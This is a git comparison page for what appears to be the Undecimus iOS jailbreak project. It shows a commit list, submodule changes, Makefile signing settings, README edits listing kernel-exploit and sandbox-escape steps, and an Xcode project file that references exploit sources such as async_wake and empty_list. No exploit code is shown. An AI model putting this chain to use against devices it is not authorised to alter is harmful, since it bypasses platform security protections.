Compare commits
199 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9583329c5c | |||
| 7cad24e8f4 | |||
| 4843b5d7a3 | |||
| 777248aa73 | |||
| 8190773b04 | |||
| 034b072559 | |||
| af02f037c3 | |||
| 2d14f5b9bd | |||
| a2b1d0e5c5 | |||
| 191ad4d15d | |||
| af582c74c3 | |||
| d0e47bc517 | |||
| dcba04c37c | |||
| afe13af759 | |||
| 2f2ba92c53 | |||
| 98cf8e4d6e | |||
| 52e7c56468 | |||
| 84d7b8fd59 | |||
| 111d812d9e | |||
| 82285e21b5 | |||
| da43c0e847 | |||
| 6b2848ce34 | |||
| 10ec346cd7 | |||
| 50f888fc14 | |||
| 53c17da489 | |||
| 5f3ae402c1 | |||
| ebea9f9314 | |||
| aef018f05d | |||
| db3e706012 | |||
| 39c1fbfeb5 | |||
| d40946f5e5 | |||
| 9f61c37ecd | |||
| 05c99a6a7b | |||
| 397cc1a7a2 | |||
| 517e51fbd7 | |||
| 61010817eb | |||
| 4962d3c35d | |||
| 1b18df71bf | |||
| 8374333f95 | |||
| 75edb6bce3 | |||
| d2ce06948f | |||
| eefa4d7855 | |||
| 998adeea54 | |||
| 3650c38226 | |||
| ffd5b41035 | |||
| 314a2050c1 | |||
| 841fa649d7 | |||
| c3340244c8 | |||
| 79ae88a24c | |||
| 0b5b0094c0 | |||
| 0a2516644e | |||
| 81672d87d8 | |||
| c6f8849045 | |||
| f0279789c1 | |||
| 598824d007 | |||
| 53cea01a44 | |||
| 9730667495 | |||
| e1af60e803 | |||
| 2a0e8c998c | |||
| b302a159fe | |||
| 801c4a2614 | |||
| 4705dfef7b | |||
| 308d436bf5 | |||
| e91de7e447 | |||
| 2e20485d62 | |||
| 5f3b65a99b | |||
| 7725040b8f | |||
| 7e67f5c7c6 | |||
| 88280a595e | |||
| 168a0588a4 | |||
| 1b96e7049e | |||
| f916257313 | |||
| c499defaec | |||
| c862275a9d | |||
| 345a41c171 | |||
| 22b45306af | |||
| 956b7bab3f | |||
| 85d0d0a74f | |||
| 45f166cb75 | |||
| 2fee69b049 | |||
| 53c99f805a | |||
| 8b83d36b24 | |||
| ddf5d11161 | |||
| 8c5a51741b | |||
| 7ef41cbbd5 | |||
| 1dd65bc081 | |||
| 281ad3826f | |||
| 8df9b81892 | |||
| 3ed31f782d | |||
| 9a18810462 | |||
| 28d46bff5c | |||
| 9d345ba411 | |||
| 2f71b78064 | |||
| 88baac94b6 | |||
| 1fccb51203 | |||
| 181e4b85eb | |||
| 39fee92b9b | |||
| 3bff8efeb2 | |||
| f1ba79f02d | |||
| 390f2669b2 | |||
| 11f8de80ed | |||
| aeeb980f53 | |||
| f9b98a944b | |||
| f5f28ce224 | |||
| e34e85c047 | |||
| 39240ff701 | |||
| 97e1ea1d9a | |||
| 4e46212fe6 | |||
| 47dd2bc5bf | |||
| 984f962692 | |||
| cce6ce62e6 | |||
| 8ddc8e6488 | |||
| ceff9b7a28 | |||
| 2672c317f1 | |||
| 542bcc7e22 | |||
| 9401a6e1f3 | |||
| d19ad5e52b | |||
| cf6bbc9953 | |||
| 7b2687e599 | |||
| 4fad5ee662 | |||
| cd24c5b0a6 | |||
| bf92a2fb21 | |||
| b3a8bf2bd5 | |||
| a4b3a5efb9 | |||
| 8398b18308 | |||
| 50cee914f0 | |||
| 81011a45a2 | |||
| 2746b91021 | |||
| fe74512a18 | |||
| de8c57081e | |||
| 8fc442816c | |||
| eb109f6a1b | |||
| 61f19fd9a6 | |||
| 9ad43631b9 | |||
| ee593536f7 | |||
| 1ca282e5d9 | |||
| d2b10730cb | |||
| 794308cc7d | |||
| 05dd5d8d3a | |||
| 4f60d12c24 | |||
| 9171ffd1a4 | |||
| 60559e0346 | |||
| 689db8e3d2 | |||
| a067a1055b | |||
| 3ad9965818 | |||
| 47c2fa2c24 | |||
| 535d9e3a06 | |||
| 8a224722d8 | |||
| 488573d688 | |||
| c80a96aa4b | |||
| e786137444 | |||
| 0aa99b8db7 | |||
| 0701fb85b0 | |||
| d88f35d401 | |||
| 9dc9a809e3 | |||
| 4c2ee5b7df | |||
| d27d947301 | |||
| 764e22dd26 | |||
| abe6ae663d | |||
| f7982eeb41 | |||
| 31444ef8c9 | |||
| 5820f7cacf | |||
| 13823b76aa | |||
| 6bbc2c5af7 | |||
| fc2341ac19 | |||
| e3c1a6d1e5 | |||
| 1d0f033c22 | |||
| d0873aa090 | |||
| 4f5d9e9872 | |||
| 183678512a | |||
| 197c905394 | |||
| 484bdf9e8c | |||
| 922fead5a7 | |||
| d2b6184f08 | |||
| 72ebd27ba4 | |||
| 7b8acbf0e8 | |||
| 3746fcc514 | |||
| cbf0bd9935 | |||
| ca39a9f0c1 | |||
| 0740f67801 | |||
| 5a2d05622c | |||
| d537253acc | |||
| a40c1ff195 | |||
| e31145259c | |||
| bee380c655 | |||
| 80c8c593a2 | |||
| 08c95b09af | |||
| f0c0d5dd88 | |||
| c758669cc2 | |||
| 784019f797 | |||
| b36316cbe6 | |||
| 3e84c16ef2 | |||
| 0166f7aa7d | |||
| 982c61d73a | |||
| e75812f279 | |||
| d1057b7e86 | |||
| 77b1634752 | |||
| 79f3f6f667 | |||
| bbfbb92938 |
+9
-3
@@ -1,3 +1,9 @@
|
||||
[submodule "theos"]
|
||||
path = theos
|
||||
url = https://github.com/theos/theos.git
|
||||
[submodule "Injector"]
|
||||
path = Injector
|
||||
url = https://github.com/pwn20wndstuff/Injector.git
|
||||
[submodule "snappy"]
|
||||
path = snappy
|
||||
url = https://github.com/sbingner/snappy.git
|
||||
[submodule "patchfinder64"]
|
||||
path = patchfinder64
|
||||
url = https://github.com/pwn20wndstuff/patchfinder64.git
|
||||
|
||||
Submodule
+1
Submodule Injector added at 4e25f6d5eb
@@ -3,7 +3,7 @@ TARGET = Undecimus
|
||||
.PHONY: all clean
|
||||
|
||||
all: clean
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO -sdk iphoneos -configuration Debug
|
||||
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
|
||||
ln -sf build/Debug-iphoneos Payload
|
||||
# strip Payload/$(TARGET).app/$(TARGET)
|
||||
ldid -SUndecimus/resources/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
|
||||
|
||||
@@ -41,42 +41,11 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
|
||||
* Working debugserver
|
||||
* An awesome UI
|
||||
|
||||
## The technical side
|
||||
* Exploit kernel_task
|
||||
* Get kernel base
|
||||
* Find offsets
|
||||
* Get root
|
||||
* Escape sandbox
|
||||
* Get entitlements
|
||||
* Dump APTicket
|
||||
* Unlock nvram
|
||||
* Set boot-nonce
|
||||
* Lock nvram
|
||||
* Allow double mount
|
||||
* Remount RootFS
|
||||
* Prepare resources
|
||||
* Inject to trust cache
|
||||
* Log slide
|
||||
* Set HSP4
|
||||
* Patch amfid
|
||||
* Spawn jailbreakd
|
||||
* Patch launchd
|
||||
* Update version string
|
||||
* Extract bootstrap
|
||||
* Disable stashing
|
||||
* Disable app revokes
|
||||
* Allow SpringBoard to show non-default system apps
|
||||
* Disable Auto Updates
|
||||
* Load Daemons
|
||||
* Run uicache
|
||||
* Load Tweaks
|
||||
|
||||
## Switching from the other jailbreaks
|
||||
* The RootFS will automatically be restored
|
||||
|
||||
## Getting support
|
||||
* Use the built-in diagnostics tool
|
||||
* Get technical support on the r/Jailbreak Discord Server
|
||||
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
|
||||
|
||||
## Best practices
|
||||
@@ -94,9 +63,9 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
|
||||
|
||||
## To Do List
|
||||
* Contact [@saurik](https://twitter.com/saurik) to enable the Cydia Store purchases on iOS 11 and remove the empty front page ads in Cydia: Partially done
|
||||
* Completely switch to Cydia Substrate and ditch Substitute: Done, testing...
|
||||
* Make switching from other jailbreaks without wiping the device possible: Almost done
|
||||
* Fix a kernel panic that's triggered by a kernel data abort which is caused by a UaF bug in jailbreakd: Almost done
|
||||
* Completely switch to Cydia Substrate and ditch Substitute: Done
|
||||
* Make switching from other jailbreaks without wiping the device possible: Done
|
||||
* Fix a kernel panic that's triggered by a kernel data abort which is caused by a UaF bug in jailbreakd: Done
|
||||
* Chain [@_bazad](https://twitter.com/_bazad)'s [blanket](https://github.com/bazad/blanket) to bypass the developer certificate requirement for multi_path: Almost done
|
||||
* Enable the on-fly entitlement patching on iOS 11: Work in progress
|
||||
* WebKit Port with [@_niklasb](https://twitter.com/_niklasb)'s [WebKit Exploit](https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1): Work in progress
|
||||
@@ -126,18 +95,19 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
|
||||
* Releases are now available at https://github.com/pwn20wndstuff/Undecimus/releases
|
||||
|
||||
## Special Thanks
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for triple_fetch, async_wake, empty_list, multi_path & deja_xnu
|
||||
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path & deja_xnu
|
||||
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit
|
||||
* [@xerub](https://twitter.com/xerub) for libjb and the original patchfinder64
|
||||
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload, jailbreakd and pspawn_hook
|
||||
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram and hsp4
|
||||
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
|
||||
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
|
||||
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
|
||||
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
|
||||
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
|
||||
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
|
||||
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
|
||||
* [@Rob_Coleman123](https://twitter.com/Rob_Coleman123) for testing
|
||||
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
|
||||
* [@FCE365](https://twitter.com/FCE365) for testing
|
||||
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
|
||||
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
|
||||
* [@Jakeashacks](https://twitter.com/Jakeashacks) for testing
|
||||
|
||||
+145
-132
@@ -8,52 +8,46 @@
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
2116449A21737F9500250744 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* ViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCA2148103B00DC0023 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
|
||||
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
|
||||
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
|
||||
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
|
||||
2139534C21763A0C00B17F8D /* rsync.tar in Resources */ = {isa = PBXBuildFile; fileRef = 2139534B21763A0B00B17F8D /* rsync.tar */; };
|
||||
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDB21AEEA3A00B99B4C /* injector.deb */; };
|
||||
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDD21AEEC9200B99B4C /* spawn.deb */; };
|
||||
2170BD3721B193650059BD10 /* qilin.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC8C2136A0D100849420 /* qilin.o */; };
|
||||
2170BD3821B193670059BD10 /* libjb.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 21A97FCF2148103C00DC0023 /* libjb.a */; };
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
|
||||
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
|
||||
21A97FD12148103C00DC0023 /* kexecute.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* kexecute.m */; };
|
||||
21A97FD32148103C00DC0023 /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* kutils.c */; };
|
||||
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
|
||||
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; };
|
||||
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
|
||||
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
|
||||
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
|
||||
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
|
||||
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
|
||||
21C0FC8721369EE900849420 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* kmem.c */; };
|
||||
21C0FC8A21369EE900849420 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* offsets.m */; };
|
||||
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
|
||||
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelStructureOffsets.m */; };
|
||||
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
|
||||
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
|
||||
21C130FB214C1EBA0021AA9D /* untar.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130FA214C1EBA0021AA9D /* untar.c */; };
|
||||
21C13105214C20950021AA9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13100214C20950021AA9D /* tar.tar */; };
|
||||
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */ = {isa = PBXBuildFile; fileRef = 21C1310F214C2E570021AA9D /* strap.tar.lzma */; };
|
||||
21C13116214C51100021AA9D /* lzma.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13115214C510F0021AA9D /* lzma.tar */; };
|
||||
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
|
||||
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
|
||||
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
|
||||
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
|
||||
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
|
||||
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */ = {isa = PBXBuildFile; fileRef = 22C546AA21A8A8FD00EFC09C /* utils.m */; };
|
||||
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */ = {isa = PBXBuildFile; fileRef = 22C546B921A8D59C00EFC09C /* amfid_payload.tar */; };
|
||||
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C321A8D7FA00EFC09C /* ca-certificates.deb */; };
|
||||
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */; };
|
||||
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C521A8D7FA00EFC09C /* cydia.deb */; };
|
||||
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C221A8D7FA00EFC09C /* openssh.deb */; };
|
||||
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C421A8D7FA00EFC09C /* openssl.deb */; };
|
||||
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C121A8D7DA00EFC09C /* resources.deb */; };
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 22CFED9121CDFE6B00A216BE /* libmis.tbd */; };
|
||||
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CD921E02CF200B2FCAE /* inject.m */; };
|
||||
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CE221E033A500B2FCAE /* libsnappy.c */; };
|
||||
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8D592A67218E47F60035D2BC /* Main.storyboard */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = hideventsystem.c; sourceTree = "<group>"; };
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = hideventsystem.h; sourceTree = "<group>"; };
|
||||
211C372521CE2DD700ADBEA2 /* reboot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = reboot.h; sourceTree = "<group>"; };
|
||||
211C372721CE2DD800ADBEA2 /* route.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = route.h; sourceTree = "<group>"; };
|
||||
211C372921CE2DD800ADBEA2 /* proc_info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc_info.h; sourceTree = "<group>"; };
|
||||
211C372A21CE2DD800ADBEA2 /* kern_control.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kern_control.h; sourceTree = "<group>"; };
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libMobileGestalt.tbd; path = usr/lib/libMobileGestalt.tbd; sourceTree = SDKROOT; };
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = find_port.c; sourceTree = "<group>"; };
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = find_port.h; sourceTree = "<group>"; };
|
||||
@@ -61,40 +55,31 @@
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = early_kalloc.c; sourceTree = "<group>"; };
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = rsync.tar; sourceTree = "<group>"; };
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
|
||||
21466CDB21AEEA3A00B99B4C /* injector.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = injector.deb; sourceTree = "<group>"; };
|
||||
21466CDD21AEEC9200B99B4C /* spawn.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = spawn.deb; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = "<group>"; };
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
|
||||
21A97FC72148103B00DC0023 /* libjb.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libjb.h; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kexecute.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* kutils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = "<group>"; };
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = "<group>"; };
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = "<group>"; };
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelExecution.m; sourceTree = "<group>"; };
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelUtilities.h; sourceTree = "<group>"; };
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
|
||||
21A97FCF2148103C00DC0023 /* libjb.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libjb.a; sourceTree = "<group>"; };
|
||||
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = JailbreakViewController.h; sourceTree = "<group>"; };
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = JailbreakViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
21C0FC7621369EB800849420 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
|
||||
21C0FC7821369EB800849420 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* kmem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = "<group>"; };
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
|
||||
21C0FC8221369EE900849420 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* kmem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = "<group>"; };
|
